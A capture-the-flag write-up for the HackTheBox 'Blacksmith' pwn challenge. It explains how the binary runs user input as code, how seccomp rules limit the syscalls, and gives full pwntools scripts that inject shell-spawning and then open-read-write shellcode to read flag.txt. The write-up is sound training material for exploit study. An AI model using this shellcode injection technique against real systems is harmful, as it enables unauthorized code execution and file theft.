Blacksmith
Blacksmith
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".
Solution Approach
Core idea: Bypassing secure-computing rules. Implement ORW (Open-Read-Write) exploit.
Steps
-
First, unzip the
.zipfile given. -
Check the file type.
-
Since it's a binary file, now check the the binary's protection.
-
Let's decompile the binary using ghidra.
-
Based from the
main()function, we know that the program will prompts us an input. -
If we input 1, then the program will print
&DAT_001012e0, which allows us to choose another input. -
If we choose 2, the program will call the
shield()function, 3 for thebow()function and 1 for thesword()function. -
Let's deep dive to those 3 functions.
SHIELD()
- At the
shield()we know that there's no bufferoverflow vuln, but we are given direct code execution.
BOW()
- Nothing interesting here, let's check the
sword()function.
SWORD()
-
Still the same, hence let's go back to the
shield()function. -
Now let's run
chmodto the binary then run the it in gdb. -
Choose for the shield.
-
Input any strings.
-
Got segmentation fault here, it happens not because we overflowed the buffer, because what we enter will be executed as code which is not valid.
-
Hence our here is our temporary script.
TEMPS SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './blacksmith' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' sh = start() ### we are using shellcraft, because it's just executing code. shellcode = asm(shellcraft.sh()) sh.sendlineafter('>', b'1') sh.sendlineafter('>', b'2') sh.sendlineafter('>', flat(shellcode)) sh.interactive()
OUTPUT
- Let's use
shellcraft.catsince the desc said that the flag is under /flag.txt`. Change the sh.interactive() to this:
py read-only • copy allowedgetFlag = sh.recv() success(getFlag)
- Based from the output we got, i think there's
seccompprotections.
SECCOMP
Secure computing mode ( seccomp ) is a Linux kernel feature. You can use it to restrict the actions available within the container. The seccomp() system call operates on the seccomp state of the calling process. You can use this feature to restrict your application's access.
-
To validate our assumption, let's run
lddto the binary. -
Yepp, we're right.
-
Now let's dump the rule using
seccomp-tools.
sudo seccomp-tools dump ./blacksmith
- Based from the rules, the binary allows to use
read(),write(), andopen(). - That's why when we use cat or get into the shell, the program terminated.
- So, the flow we shall use is, using the
open()function to open the flag, then use theread()function to read the flag , and use thewrite()write the flag to the standard output. - Now let's update our script:
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './blacksmith' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' sh = start() ### we are using shellcraft, because it's just executing code. #shellcode = asm(shellcraft.sh()) shellcode = asm(shellcraft.open('flag.txt')) ### ssize_t read(int fildes, void *buf, size_t nbyte); ### int fildes value -> 3, because we want to read from a file | check linux man pages -> die.net (num2 - read) ### void*buf -> rsp, because we want to read it to the stack ### size_t nbyte -> since the flag won't be too long, input any bytes size. shellcode += asm(shellcraft.read(3, 'rsp', 50)) ### ssize_t write(int fildes, const void *buf, size_t nbyte); ### int fildes -> 1 , because we want to send message to out standard output (another user) | check linux man pages -> die.net (num1 - write) shellcode += asm(shellcraft.write(1, 'rsp', 'rax')) sh.sendlineafter('>', '1') sh.sendlineafter('>', '2') sh.sendlineafter('>', flat(shellcode)) ### Need to add these lines of script, dunno why if exclude it, won't get the flag. sh.recv() #sh.interactive() getFlag = sh.recv() success(getFlag)
-
Let's test it remotely.
-
Got the flag!
NOTES:
- To check available shellcraft function.
- Run this on ur terminal:
sh read-only • copy allowedpwn shellcraft -l | grep linux
Flag
REDACTED
Lessons Learned
- Bypassing secure-computing rules.
- Implement ORW (Open-Read-Write) exploit.